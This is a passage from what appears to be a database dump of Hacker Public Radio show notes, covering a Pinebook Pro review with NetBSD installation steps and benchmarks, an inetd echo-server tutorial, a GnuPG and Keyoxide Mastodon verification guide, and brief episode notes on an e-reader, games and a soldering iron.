EMMC once before allowing booting from the sd card).</p>\n<p>Armbian and NetBSD seem to boot just fine from the sd card. I\'m\nkeeping a sd card with the stock Manjaro image as an insurance\npolicy.</p>\n<p>Because the keyboard does not work in u-boot, I ordered the pine64\nserial over 3.5mm audio jack cable so that I can (hopefully) fix this in\nthe future. The system still boots automatically but I\'d really like to\npass options to my bootloader to do things like enter single user mode,\nrun an fsck at boot time, boot various versions of kernels, etc.</p>\n<hr />\n<h1 id=\"os-support\">OS Support</h1>\n<p>I will not use Arch. You cannot force me. You cannot coerce me. You\ncannot even bribe me. I will use anything other than Arch as long as\nit\'s not ubuntu.</p>\n<p>Sadly, BSD is not \"super easy\" on the PBP like most other SBCs but\nI\'ve never stepped down from a challenge. Even sadder, no Plan 9 ported\nto PBP either. Running a \"distro based on a distro based on a distro\nbased on arch\" is the antithesis of my computing philosophy. Luckily\nenough, there is a big <a\nhref=\"https://wiki.pine64.org/wiki/Pinebook_Pro_Software_Release\">list\nof operating systems that run on the PBP</a>. Most of these are distros\nbased on distros based on distros. OpenBSD instantly appeals to me but\nthere is no support for graphical TTYs as of yet (installation must be\nperformed over serial) so this is a non-starter. NetBSD also appeals to\nme but no wifi in 9.x, only in -CURRENT. A wide selection of actually\nusable software, take your pick.</p>\n<p><a\nhref=\"https://github.com/manjaro-arm/pbpro-images/releases/\">Official\nManjaro images with a variety of DEs</a> also exist for when you lost\n(or corrupted) your insurance policy SD card.</p>\n<p><img src=\"http://hackerpublicradio.org/eps/hpr3728/boot-loops.jpg\"\nalt=\"android boot loops, my experience with booting Manjaro from an SD card\" /></p>\n<hr />\n<h1 id=\"netbsd\">NetBSD</h1>\n<p>NetBSD seems to work just fine but 9.x doesn\'t yet ship the broadcom\ndrivers. These drivers are present in the -CURRENT branch but the issue\nwith -CURRENT is that it\'s not entirely stable. Additionally, the\nbootloader does not come with the system.</p>\n<p><a\nhref=\"http://cdn.netbsd.org/pub/pkgsrc/current/pkgsrc/sysutils/u-boot-pinebook-pro/index.html\">u-boot\nfrom pkgsrc</a></p>\n<p><a\nhref=\"https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\">aarch64\nbuild of NetBSD</a></p>\n<p>To get around the no wifi issue, a dongle is required. I use an\n<code>Atheros AR9271</code> USB-&gt;WiFi dongle. To get around no RJ45\nport, I use a USB-&gt;RJ45 adapter. I have an <code>ASIX ax88772</code>\ndongle (UGREEN branded but I\'m not sure that matters). Both of these\ndongles seem to work with every single operating system and hardware\nconfiguration I\'ve tried them with.</p>\n<p>Arm is strange, so we must boot from an SD card (running any OS, in\nmy case NetBSD) in order to burn an image to the internal storage.</p>\n<p>From a separate machine, the options passed to <code>dd</code>\n<em>are</em> important.</p>\n<pre><code>$ wget https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n$ wget http://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/x86_64/.9.0_2022Q2_pkgbuild/All/u-boot-pinebook-pro-2022.01nb1.tgz\n$ gunzip ./arm64.img\n$ tar xzf ./u-boot-pinebook-pro-2022.01nb1.tgz\n$ sudo umount /dev/sdx*\n$ sudo dd if=./arm64.img of=/dev/sdx status=progress conv=fsync bs=1M\n$ sudo sync\n$ sudo dd if=./u-boot-pinebook-pro-2022.01nb1/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/sdx seek=64 conv=sync status=progress\n$ sudo sync\n$ sudo eject /dev/sdx</code></pre>\n<p>And, to install NetBSD to the internal EMMC, the process is similar.\nNetBSD\'s version of <code>dd</code> varies slightly but the options\npassed <em>are</em> important.</p>\n<pre><code># ftp https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n# gunzip ./arm64.img\n# dd if=./arm64.img of=/dev/rl0d conv=sync bs=1m\n# sync\n# PKG_PATH=&quot;http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/&quot; pkg_add pkgin\n# pkgin install u-boot-pinebook-pro\n# sudo dd if=/usr/pkg/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/rld0 seek=64 conv=sync\n# sync\n# reboot</code></pre>\n<p>And, some more desktop centric things after booting from EMMC:</p>\n<pre><code># passwd\n# echo &quot;postfix=NO&quot; &gt;&gt; /etc/rc.conf\n# echo &quot;xdm=YES&quot; &gt;&gt; /etc/rc.conf</code></pre>\n<p>Installing pkgin (and some packages):</p>\n<pre><code># PKG_PATH=&quot;https://cdn.NetBSD.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/&quot; pkg_add pkgin\n# sed -i&#39;&#39; -e &#39;s/9.0/9.3/g&#39; /usr/pkg/etc/pkgin/repositories.conf\n# pkgin install vim git mozilla-rootcerts mozilla-rootcerts-openssl</code></pre>\n<p>The rest is NetBSD specific and I\'ve avoided getting into it here\nbecause it doesn\'t have anything to do with the PBP.</p>\n<hr />\n<h2 id=\"performance\">Performance</h2>\n<p>The PBP has 6 cores (2 fast, 4 slow) and 4gb ram. The cpu is fairly\nslow but entirely usable. On large procedural jobs like software\ncompilation, it\'s painful. For concurrent jobs, it\'s mostly fine.</p>\n<h2 id=\"compiler-performance\">Compiler performance</h2>\n<p>As expected, the PBP is slower when it comes to compilation than a\nstandard amd64 machine. Surprisingly enough, NetBSD was significantly\nslower than Manjaro. This is likely due to the Linux kernel knowing how\nto better handle multiple CPUs with varying speeds.</p>\n<h3 id=\"sequential-jobs\">sequential jobs</h3>\n<p>I used <a href=\"https://github.com/9fans/plan9port\">plan9port</a>\nbecause it\'s a fairly large but portable project. Compilation is largely\nsequential, invokes many standard shell utilities, and involves extra\npreprocessor steps to convert 9 C into something a standard UNIX\ncompiler like GCC or Clang can compile.</p>\n<p>On a T490 - 8th gen Core i7 (4 cores, 8 threads, 4.8GHz, vPro for\nmaximum thermal output):</p>\n<pre><code>real 232.51 (~4 minutes)\nuser 188.07\nsys 65.01</code></pre>\n<p>On an X220 - 2nd gen Core i5 (2 cores, 4 threads, 2.6GHz, vPro for\nmaximum thermal output):</p>\n<pre><code>real 249.98 (~4 minutes)\nuser 220.33\nsys 65.52</code></pre>\n<p>On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running stock <strong>Manjaro</strong> image):</p>\n<pre><code>real 1355.27 (~22 minutes)\nuser 1178.47\nsys 347.71</code></pre>\n<p>On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running <strong>NetBSD</strong>):</p>\n<pre><code>real 3715.24 (~60 minutes)\nuser 1946.84\nsys 3435.29</code></pre>\n<h3 id=\"concurrent-jobs\">concurrent jobs</h3>\n<p>I used <a href=\"https://github.com/vim/vim\">vim</a> because it can be\nbuilt in parallel without causing any issues.</p>\n<p>Same 8th gen Core i7 (<code>make -j7</code>):</p>\n<pre><code>real 27.36\nuser 170.21\nsys 11.30</code></pre>\n<p>Same 2nd gen Core i5 (<code>make -j7</code>, approaching the\nexponential decay of marginal returns on concurrent processing):</p>\n<pre><code>real 77.07\nuser 292.46\nsys 10.00</code></pre>\n<p>On the PBP (<code>make -j7</code>) (running stock\n<strong>Manjaro</strong> image):</p>\n<pre><code>real 220.60\nuser 1145.40\nsys 59.90</code></pre>\n<p>On the PBP (<code>make -j7</code>) (running\n<strong>NetBSD</strong>):</p>\n<pre><code>real 319.30\nuser 1560.87\nsys 255.33</code></pre>\n<h2 id=\"web-browser-testing\">Web browser testing</h2>\n<p>Because the PBP has similar hardware specifications to the adware\nsubsidized craptops sold by google, I thought it would be a good idea to\ncompare web browser performance on these systems as well.</p>\n<p>I found a few <a href=\"https://browserbench.org/\">web browser\nbenchmark tests at browserbench.org</a>. They\'re probably snakeoil but\nrunning JS tests is a good way to put a number on how performant\n$browser on $hardware is.</p>\n<p>Scores from the <a\nhref=\"https://browserbench.org/JetStream\">JetStream2 test</a></p>\n<blockquote>\n<p>JetStream 2.1 is a JavaScript and WebAssembly benchmark suite focused\non the most advanced web applications. It rewards browsers that start up\nquickly, execute code quickly, and run smoothly. For more information,\nread the in-depth analysis. Bigger scores are better.</p>\n</blockquote>\n<pre><code>Thinkpad T490 79.555\nThinkpad X220 39.983\nPBP (manjaro) 19.148</code></pre>\n<p>I don\'t have an chromesumption book to test against, so all I can say\nis that the PBP is slower than a workhorse amd64 machine when it comes\nto interpreting javascript.</p>\n<hr />\n<h1 id=\"conclusion\">Conclusion</h1>\n<h2 id=\"did-the-pbp-fulfill-its-needs\">Did the PBP fulfill it\'s\nneeds?</h2>\n<p>The intended use case was \"UNIX machine I can charge from an existing\nbattery or alternator\". This immediately invokes ideas of \"why would I\neven need wifi support?\"</p>\n<p>Ultimately, I ended up flashing a bad image to the SPI flash chip and\nI cannot get the system to boot (or even show signs of life). I have\nattempted to enter maskrom mode to re-flash the SPI but I am\nunsuccessful. There are a few other things I need to try. I\'ll update\nthis if I ever get it functional again.</p>\n<p>I did not have the opportunity to test the machine in the exact\nenvironment I got it for but it was fun before I bricked it. Again, a\nplace for updates.</p>\n<h2 id=\"who-is-the-pbp-for\">Who is the PBP for?</h2>\n<p>HACKERS!</p>\n<p>Obviously, the types of people who are interested in pine64 devices\nand similar SBCs are already computer owners (if not computer hoarders).\nIt\'s unlikely that the PBP will become my (or anyone\'s) primary computer\nbut that doesn\'t mean that it\'s useless. The entire point of arm SBCs is\nto have fun so why not have fun?</p>\n<p>Just don\'t flash your SPI if you want it to work as expected.</p>\n<hr />\n<h1 id=\"some-final-thoughts-on-open-hardware\">Some final thoughts on\nopen hardware</h1>\n<p>Oftentimes, before purchasing freedom centric hardware, I search for\na few reviews so that I can set my expectations correctly. Oftentimes\nthese reviews are very epidermal: <em>they\'re not even skin deep</em>.\nThese reviewers are consumers producing reviews for a consumer audience,\nnot hackers producing in-depth reviews for hacker audience. These types\nof reviews are frustrating for me but fundamental flaws seem to shine\nthrough the lack of thoroughness.</p>\n<p>I think that the general negative reviews on open hardware largely\nstem from unrealistic expectations. The community seems to over-hype\nmany of these devices out of ignorance, stating that $freedomDevice is\nthe $proprietaryAlternative killer, the end all be all device that will\nusher in the year of the Linux $deviceCategory. Oftentimes, it seems\nlike the high expectations fall flat when confronted with the reality of\nopen hardware: it\'s either way too expensive or way too\nexperimental.</p>\n<p>It seems like many of these devices are lacking both developer time\nand users who are both enthusiastic and knowledgeable. Pitfalls of\nmobile UNIX include bad power management, difficulty hotplugging\nwireless chipsets, graphical interfaces attempting to cope with the fact\nthat they don\'t have a physical keyboard, etc. There is still much work\nto be done. As for users, it seems that the most enthusiastic users\nalways have the impression that $linuxDevice will have 1:1 feature\nparity with $proprietaryDevice. Maybe it\'s just that the loudest users\nare heard or that we only want to hear utopian dreams of a free software\nfuture.</p>\n<p>A prime example of this conflict between expectations and reality:\nLinux smartphones. It doesn\'t help when many linux smartphones over the\nyears were advertised as a viable android competitor rather than\nanything other than what they actually were: an arm board attached to a\ntouch screen and a modem.</p>\n<p>I oftentimes ask myself \"what is open source worth?\". How much money\nare you willing to throw at an idea you like? Surely, money thrown at an\nidea you like is being used better than money thrown at an idea you\ndon\'t like. In many cases, it seems like open hardware devices are more\nexpensive than their proprietary counterparts for a few reasons. The two\nlargest reasons are small batch manufacturing and the fact that open\nhardware isn\'t subsidized by pre-installed adware (in the case of nearly\nevery device that comes pre-loaded with proprietary software).</p>\n<p>What is open source worth? A few extra dollars, a few extra hours of\nconfiguration, a few extra papercuts, and a clean conscious knowing that\nI didn\'t pay for yet another windows license I will never use and will\nnever get a refund for. Open source is worth investing in because the,\nalbeit slow, improvements to open hardware and software have wider\nimplications than just \"buying a laptop with Linux pre installed\".</p>\n<h1 id=\"future-projects\">Future projects</h1>\n<ul>\n<li><s>something with the raspi</s></li>\n<li>NetBSD in depth</li>\n<li>\"why is my lightbulb running android?\" and other Internet-Of-Terror\nideas</li>\n<li>turning a router into a general purpose computing device (probably\nMIPS because where else am I going to find a MIPS CPU? Might as well do\nsomething novel instead of $arm-project-1209)</li>\n</ul>\n',406,0,1,'CC-BY-SA','Open Hardware, Pine64',0,0,1),
(3734,'2022-11-24','Inetd: the internet super-server',1008,'I talk about inetd and give an example of how to write a service for it','<h1 id=\"inetd-the-internet-super-server\">Inetd, the internet\nsuper-server</h1>\n<p>Inetd is slowly becoming one of my favorite daemons. It makes writing\nprograms that talk over the network super easy. Inetd handles all of the\nhard socket stuff and allows admins to write simple UNIX-ey programs.\nInetd is useful because it allows us to write services that only run\nwhen they are requested in order to reduce total system load.</p>\n<h1 id=\"how-inetd-works\">How inetd works</h1>\n<p>Inetd can be conceptualized as a sort of \"wrapper daemon\". Inetd is\nalways running <em>despite the fact that many of it\'s sub-services are\nnot always running</em>.</p>\n<p>Inetd listens on a specific port. When it gets a request, it handles\nall of the hard socket parts. This request is then passed to one of our\n<em>inetd services</em></p>\n<p>We will use a simple server that echoes the request back to the user\nas an example. We will call this <em>inetd service</em>\n<code>echod</code></p>\n<p>Inetd passes requests to <code>echod</code> as text.\n<code>echod</code> will read from stdin and write to stdout. Everything\nwritten to stdout is passed to the client. <code>echod</code> will then\nexit.</p>\n<h2 id=\"echo-server-example\">echo server example</h2>\n<p>I use OpenBSD on my webserver. Sadly, systemd sockets have replaced\ninetd on many linux systems. systemd sockets are entirely painful to\nuse. I can\'t verify that these examples will work on non-OpenBSD systems\nbut the <code>openbsd-inetd</code> package is available on a wide\nvariety of debianoiads.</p>\n<p>Let\'s write out out <code>echod</code> service and the configuration\nfiles required to get it working.</p>\n<p>Edit <code>/etc/inetd.conf</code></p>\n<pre><code># port socket type protocol wait/nowait user server program server arguments(optional)\n9999 stream tcp nowait daemon /opt/echod/echod.sh</code></pre>\n<p>And our <code>echod</code> service file, located at\n<code>/opt/echod/echod.sh</code>:</p>\n<pre><code>#!/bin/sh\nwhile read l; do\n echo $l;\ndone;\n\nexit 0;</code></pre>\n<p>Be sure to <code>chmod +x echod.sh</code> and\n<code>rcctl enable inetd &amp;&amp; rcctl start inetd</code> or it won\'t\nrun.</p>\n<h3 id=\"testing\">Testing</h3>\n<p>Sometimes you can use curl to test a service but I will use netcat\ninstead because it doesn\'t assume http.</p>\n<pre><code>$ echo &quot;foobar&quot; | nc -N localhost 9999\nfoobar\n$</code></pre>\n<p>You can also use telnet to test the service:</p>\n<pre><code>$ telnet localhost 9999\nTrying 127.0.0.1...\nConnected to localhost.\nEscape character is &#39;^]&#39;.\nfoo\nfoo\nfoobar\nfoobar\necho back\necho back\n^]\ntelnet&gt; Connection closed.\n$</code></pre>\n<h2 id=\"finger-server-example\">Finger server example</h2>\n<p>Many months ago, I wrote a finger server to learn more about how\ninetd works (and to write a finger daemon that doesn\'t allow for\nenumerating non-regular users). <a\nhref=\"https://gitlab.com/binrc/fingerd/\">You can download the source\ncode for my finger server from my gitlab</a>.</p>\n<p>This finger server only allows information from users who have a home\ndirectory in <code>/home/</code> to be displayed. It also has hard-coded\nfilenames it looks for. Example output looks something like:</p>\n<pre><code>$ finger binrc@localhost\n[localhost/127.0.0.1]\nbinrc@openbsd.my.domain\n\nhttps://0x19.org\n\nWorking on an HPR episode\n\nbinrc.nospam@nospam.protonmail.com\n\nNo .pgpkey\n\n$</code></pre>\n<h2 id=\"gopher-server-example\">Gopher server example</h2>\n<p>Currently, I am working on a gopher server that runs through inetd to\nlearn more about how gopher works (and to write a gopher server that\ndoesn\'t allow for path traversal). I have yet to add autoindex support\nbut I thought it would be good to include anyway because it really\ndemonstrates how simple it can be to write an inetd service. <a\nhref=\"https://gitlab.com/binrc/pika\">You can download the source code\nfor my gopher server from my gitlab</a>.</p>\n<p>This gopher server reads input from standard in and prints the\nrequested file to standard out. Writing an inetd service can be as easy\nas writing an application specific version of <code>cat(1)</code>.</p>\n<h1 id=\"giving-the-service-ssl\">Giving the service SSL</h1>\n<p>You can pair inetd with relayd to make any inetd service use ssl. In\nthis example, I am symlinking my existing httpd certs obtained with <a\nhref=\"https://acme.sh\">acme.sh</a></p>\n<pre><code># ln -s /etc/ssl/example.com.fullchain.pem /etc/ssl/example.com\\:9998.crt\n# ln -s /etc/ssl/private/example.com.key /etc/ssl/private/example.com\\:9998.key</code></pre>\n<p>A sample relayd configuration looks like:</p>\n<pre><code>log connection\n\ntcp protocol &quot;echod&quot; {\n tls keypair &quot;example.com:9998&quot;\n}\n\nrelay &quot;echod&quot; {\n listen on example.com port 9998 tls\n protocol &quot;echod&quot;\n forward to 127.0.0.1 port 9999\n}</code></pre>\n<p>After enabling and starting relayd, it will now be listening on port\n<code>9998</code>. When it receives traffic on <code>9998</code>, it\nwill perform all of the fancy cryptography stuff and pass the request to\n<code>localhost:9999</code>. Since relayd is listening on\n<code>9999</code> and passing requests on <code>9999</code> to the echo\nserver, we are now running an echo server with ssl.</p>\n<h1 id=\"conclusion\">Conclusion</h1>\n<p>Do I run inetd in production? No, not really. I have in the past but\nI haven\'t needed it seeing as finger, echo, and gopher are dead\nprotocols. Even if inetd is largely useless in the modern era, it\'s\nstill fun to play with.</p>\n',406,0,1,'CC-BY-SA','BSD, inetd',0,0,1),
(3729,'2022-11-17','Contributing to SuperTuxKart',914,'Explaining the workflow to contribute to this foss game with media assets','<ul>\n<li><p>Main website of the game <a href=\"https://supertuxkart.net\"\nclass=\"uri\">https://supertuxkart.net</a></p></li>\n<li><p>Stk core engine (C++) <a\nhref=\"https://github.com/supertuxkart/stk-code\"\nclass=\"uri\">https://github.com/supertuxkart/stk-code</a></p></li>\n<li><p>Tools for 2d and 3d production <a\nhref=\"https://supertuxkart.net/Installing_Tools\"\nclass=\"uri\">https://supertuxkart.net/Installing_Tools</a></p></li>\n<li><p>Media repo with all source files <a\nhref=\"https://supertuxkart.net/Media_Repo\"\nclass=\"uri\">https://supertuxkart.net/Media_Repo</a></p></li>\n<li><p>Style guidelines to maintain visual consistency <a\nhref=\"https://supertuxkart.net/Texture_Guidelines\"\nclass=\"uri\">https://supertuxkart.net/Texture_Guidelines</a></p></li>\n<li><p>Addons website to publish your creation <a\nhref=\"https://online.supertuxkart.net/\"\nclass=\"uri\">https://online.supertuxkart.net/</a></p></li>\n</ul>\n<p>This time I tried a \"car rambling podcast\", where I record while I\ndrive and stop the recording only when reaching the destination</p>\n',407,0,1,'CC-BY-SA','computer graphics,supertuxkart,audio production,assets,contribution,blender,3d model,krita,hand draw',0,0,1),
(3732,'2022-11-22','My experience owning an Atari Jaguar',1976,'I talk about my experience with the Atari Jaguar and Jaguar CD','<p>My experience owning and playing the Atari Jaguar and Jaguar CD.</p>\n',412,0,0,'CC-BY-SA','atari jaguar, video games, atari',0,0,1),
(3731,'2022-11-21','Speech recognition in Kdenlive',332,'A brief description of how you can use speech recognition to transcribe your clips in Kdenlive','<p>Recently I returned to Kdenlive after about a 10-year break, and was\npleased to discover the speech recognition feature.</p>\n<p><a\nhref=\"https://docs.kdenlive.org/en/effects_and_compositions/speech_to_text.html#install-python\"\nclass=\"uri\">https://docs.kdenlive.org/en/effects_and_compositions/speech_to_text.html#install-python</a></p>\n',399,0,0,'CC-BY-SA','kdenlive,\"video editing\",\"speech recognition\"',0,0,1),
(3733,'2022-11-23','Smite',1738,'The battleground of the gods.','<h2 id=\"smite-the-battleground-of-the-gods\"><a\nhref=\"https://smitegame.com/\">Smite</a>, the battleground of the\nGODS.</h2>\n<p>SMITE is a free-to-play online MOBA (Multiplayer Online Battle Arena)\nand ARTS (action real-time strategy) game developed by Titan Forge Games\nand published by Hi-Rez Studios. The game is currently available on PC,\nXbox One, PlayStation 4 and Nintendo Switch. Players choose from a large\nselection of playable gods, immortals, and creatures from ancient\nmythology and join session-based arena combat. Each of the playable\ncharacters have their own unique abilities and fighting styles. This\nsession-based arena combat is mostly 5 players against another set of 5\nplayers, but there are several other Game Modes with different rules and\nobjectives, and the goal in most of them is to defeat the Titan located\nin the opposite team\'s base while protecting your own Titan.</p>\n<p><a href=\"https://smite.fandom.com/wiki/Smite_Wiki\">Smite wiki</a>:\nThe most comprehensive source of SMITE information maintained by the\ncommunity.</p>\n<p><a href=\"https://smitegame.com/gods/\">List of all in-game gods</a>.\nLinks to <a href=\"https://smitegame.com/gods/bastet\">Bastet</a> &amp; <a\nhref=\"https://smitegame.com/gods/ares\">Ares</a>.</p>\n<p><a href=\"https://smitegame.com/items/\">List of all in-game\nitems</a>.</p>\n',391,0,1,'CC-BY-SA','Smite, MOBA, Arena, Bastet, Gaming',0,0,1),
(3737,'2022-11-29','Review of KOBO Libra H20 e-reader',708,'Rho`n talks about his new KOBO Libra H20 e-reader','<h2 id=\"introduction\">Introduction</h2>\n<p>I have wanted an e-ink based e-reader for a while. Reading on my\ncomputer is ok. Reading on my phone is doable, but is very annoying. If\nI don\'t keep my finger on the screen, it will go blank and then I have\nto make sure and press the power button to bring the screen back to life\nbefore it locks. A tablet would probably be a nice compromise, but I\nreally wanted to try out an e-ink display, and didn\'t want the potential\ndistractions of a more multi-purpose device. I wanted not only and e-ink\ndisplay, but also one that ran a linux operating system, and a reader\nthat I could potentially put a different Linux distribution on, or\nmodify myself somehow. When asked what I wanted for Christmas this year\nby my wonderful girlfriend, I sent her a link to the KOBO Libra H20.</p>\n<h2 id=\"kobo-libra-h20-specification\">KOBO Libra H20 specification</h2>\n<ul>\n<li><p>processor - Freescale i.MX6 SLL 1 GHz</p></li>\n<li><p>RAM - 512 MB</p></li>\n<li><p>hard drive - 8GB</p></li>\n<li><p>display - 7 inch HD 300 PPI E Ink touchscreen with 1680 x 1264\nresolution</p></li>\n<li><p>dimensions - 6.3 by 5.7 by 0.3 inches (HWD) and 6.8 ounces or 159\nby 144 by 7.6 mm and 192g</p></li>\n<li><p>battery - 1200 mAh. Good battery life. Currently I use it\ninfrequently, and have charged it maybe 4 or 5 times of the last\nyear</p></li>\n<li><p>Connectivity -WiFi 802.11 b/g/n and Micro USB. I have it\nconnected to my home network. Have only used WiFi to update the OS. I\nuse the USB port to transfer books I\'ve downloaded to my computer, and\nto charge the Kobo.</p></li>\n</ul>\n<h2 id=\"calibre-ebook-management\">Calibre ebook management</h2>\n<p>I knew about Calibre, but had never used it. So far it has been a\ngreat e-book manager. Has very nice features for editing meta data and\norganizing my books. It will also transfer the books to the Libra H20\nand update its internal database. One thing I found is KOBO does have\nits own EPUB format that it uses to optimize display of books. In\nparticular, it fixes an issue where images in standard EPUB format don\'t\nscale to the size of the page. Calibre has a plugin system, and a 3rd\nparty plugin is available that will convert a standard EPUB format to\nKePUB when you transfer the book to the e-reader.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I have been enjoying my KOBO reader. It can feel a little slow at\ntimes, especially rendering pdf files where the page is a picture of the\ntext and not made up of electronic characters, and it does render images\nin standard epub format a bit small at times. Other than these two\nthings, it is very easy to read in all lighting settings, and I enjoy\nreading using the KOBO.</p>\n<h2 id=\"references\">References</h2>\n<ul>\n<li><p><a href=\"https://www.kobo.com/\">KOBO website</a></p></li>\n<li><p><a href=\"https://us.kobobooks.com/products/kobo-libra-h2o\">KOBO\nLibra H20</a></p></li>\n<li><p><a href=\"https://www.manua.ls/kobo/libra-h2o/manual?p=1\">Kobo\nLibra H2O manual</a></p></li>\n<li><p><a href=\"https://www.techradar.com/reviews/kobo-libra-h2o\">Kobo\nLibra H2O review</a>; Sharmishta Sarkar, Dan Gardiner; May 20,\n2020</p></li>\n<li><p><a href=\"https://calibre-ebook.com/\">Calibre ebook\nmanagement</a></p></li>\n<li><p><a\nhref=\"https://www.epubor.com/how-to-convert-epub-to-kepub-calibre.html\">How\nto Convert EPUB to Kepub Calibre</a>; Ada Wang; 2/13/2020</p></li>\n<li><p><a\nhref=\"https://hunterzee.gcbackup.us/kobotouchextended/\">Kobotouchextended</a></p></li>\n<li><p><a href=\"https://www.eink.com/electronic-ink.html\">E\nInk</a></p></li>\n</ul>\n',293,0,0,'CC-BY-SA','e-reader,KOBO,KOBO Libra, KOBO Libra H20, e-ink, Calibre, epub, kepub',0,0,1),
(3736,'2022-11-28','Metasyntactic words',703,'Blah blah blah (literally)','<p>Metasyntactic words are vocables such as \"foo\", \"bar\", \"baz\", \"blah\", and so on.</p>\n',78,0,0,'CC-BY-SA','linguistics, programming, syntax',0,0,1),
(3746,'2022-12-12','Cpuinfo',894,'How to get CPU info on Linux','<p>Various ways to get information about your CPU on Linux.</p>\n',78,0,0,'CC-BY-SA','cpu,utilities,programming',0,0,1),
(3739,'2022-12-01','Multipactors for the masses.',1587,'Seemingly advanced artefacts of one\'s locale are tangled whims upon exponential inspiration. ','<p>I found an copy of an old video. This episode is just a verbal\ntranscription of that lecture.</p>\n<ul>\n<li>Electrostatic containment.</li>\n<li>Fusor.</li>\n<li>Riggatron.</li>\n<li>Multipactor.</li>\n</ul>\n<p>Robert Murray Smith has got some thoroughly practical and useful\ninstructional material on Youtube. His channel is his name. He is keen\nto transmit knowledge and to stimulate innovation.</p>\n<p>I just looked up the books which he has written, and one of them is\non the subject of this episode:</p>\n<p><em>Beyond The Fusor: A New Design For A Table Top Fusion Reactor And\nHow To Build It</em><br />\nby Robert Murray-Smith.</p>\n',398,0,1,'CC-BY-SA','fusor,riggatron,multipactor,electrostatic ',0,0,1),
(3756,'2022-12-26','Verify yourself on Mastodon with PGP and Keyoxide',1940,'Verify your Mastodon account using GnuPG and Keyoxide.org','<p>Keyoxide is a project that parses a PGP key and makes its data available to Mastodon for identity verification.</p>\r\n<p><small>Added by Ken - 2022-12-27</small></p>\r\n<p>To list the key</p>\r\n<p><code>gpg2 --list-secret-keys</code></p>\r\n<p>To update and export your key</p>\r\n<pre><code>YOUR_GPG_UID=$( gpg2 --list-secret-keys | grep -A1 &#39;sec&#39; | tail -1 | awk &#39;{print $NF}&#39; )\r\n\r\n$ gpg2 --list-secret-keys ${YOUR_GPG_UID}\r\n\r\n$ gpg2 --edit-key ${YOUR_GPG_UID}\r\n\r\ngpg&gt; uid 1\r\n\r\ngpg&gt; primary\r\n\r\ngpg&gt; notation\r\nEnter the notation: proof@ariadne.id=https://YOUR-MASTODON-SERVER/@YOUR_MASTODON_ID\r\n\r\ngpg&gt; showpref \r\n\r\ngpg&gt; save \r\n\r\n$ gpg2 --armor --export ${YOUR_GPG_UID} &gt; pub-key.asc</code></pre>\r\n<p>Upload to <a href=\"https://keys.openpgp.org/\">https://keys.openpgp.org/</a></p>\r\n<p>Select Verify email</p>\r\n<p>Click the email link</p>\r\n<p>You should get a message \"Your key ${YOUR_GPG_UID} is now published for the identity YOUR_EMAIL_ADDRESS.\"</p>\r\n<p>Got to your mastodon server https://YOUR-MASTODON-SERVER/settings/profile</p>\r\n<p>And on the page add GPG and https://keyoxide.org/hkp/${YOUR_GPG_UID}</p>\r\n\r\n\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://opensource.com/article/22/12/verified-mastodon-pgp-keyoxide\">https://opensource.com/article/22/12/verified-mastodon-pgp-keyoxide</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=nLhiNOa4DBs\">https://www.youtube.com/watch?v=nLhiNOa4DBs</a></li>\r\n</ul>\r\n\r\n',78,0,0,'CC-BY-SA','pgp, gnupg, crypto, identity',0,0,1),
(3754,'2022-12-22','GOD probably will use a Chromebook',2250,'A Squirrels Rebuttal of GNU World Order episode 489 Cloud Services','<hr />\r\n<h3>Counter Point</h3>\r\n<p>A counter point to this show is available: <a href=\"https://hackerpublicradio.org/eps.php?id=3793\">hpr3793 :: RE: Zen_Floater2</a>\r\n</p>\r\n<hr />\r\n\r\n\r\n\r\n<ul>\r\n<li><a href=\"https://gnuworldorder.info/\"\r\nclass=\"uri\">https://gnuworldorder.info/</a> See episode 489 Cloud\r\nServices</li>\r\n</ul>\r\n<p>How using a Chromebook could eventually result in Mankind creating\r\nGOD in his own image.</p>\r\n<p>A brief discussion of my attempt to emulate Google Services from a\r\nChromebook on a Devuan equipped Lenovo Laptop and how all of this will\r\neventually result in mankind actually creating a real GOD who will be\r\nmasters of EVERYTHING.</p>\r\n<p>A Squirrels perspective on life, the universe and everything - even\r\nCloud Services and the lie that is A.I.</p>\r\n',377,0,1,'CC-BY-SA','Chromebooks,Cloud_Services,gnuworldorder,GOD,ALIENS,SQUIRRELS',0,0,1),
(3745,'2022-12-09','Pinecil walkthrough',525,'Details of the Pinecil soldering iron menu with a secret menu','<p>Pinecil &#x2013; a RISC-V powered, open and versatile soldering iron. It can\nbe <br> powered via USB-C PD as well as a DC5525 jack, and runs\ncommunity developed <br> software. Moreover, it is compatible with\npopular TS-100 tips. All this at half <br> the price of the\ncompetition.</p>\n<p><a href=\"https://pine64.com/product-category/pinecil\"\ntitle=\"Pine64 Pinecil\">Pine64 Pinecil</a></p>\n<p><em><em>Version</em></em></p>\n<ul>\n<li>Long press on minus button shows the version <br/> v2.18.A1A569A\n17-07-22</li>\n</ul>\n<p><em><em>Secret setting</em></em></p>\n<ul>\n<li>Long press on minus button then short press on the plus button shows\nthe version with the elapsed time the iron is on.\n<ul>\n<li>This is is seconds, with the last digit in 100mS increments\n<ul>\n<li>example 101 = 10 seconds and 100 milliseconds</li>\n</ul></li>\n</ul></li>\n</ul>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3745/image_version_screen.png\"\ntitle=\"Software version v2.18.A1A569A\" alt=\"Software version\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3745/test3_480_5fps.gif\"\ntitle=\"Sample screen animation showing power settings\"\nalt=\"Sample screen animation\" /></p>\n<p><em><em>Menu</em></em></p>\n<ul>\n<li><p>Power Settings</p>\n<ul>\n<li>Power source\n<ul>\n<li>Sets cutoff voltage. (DC 10V) (S 3.3V per cell, disabled 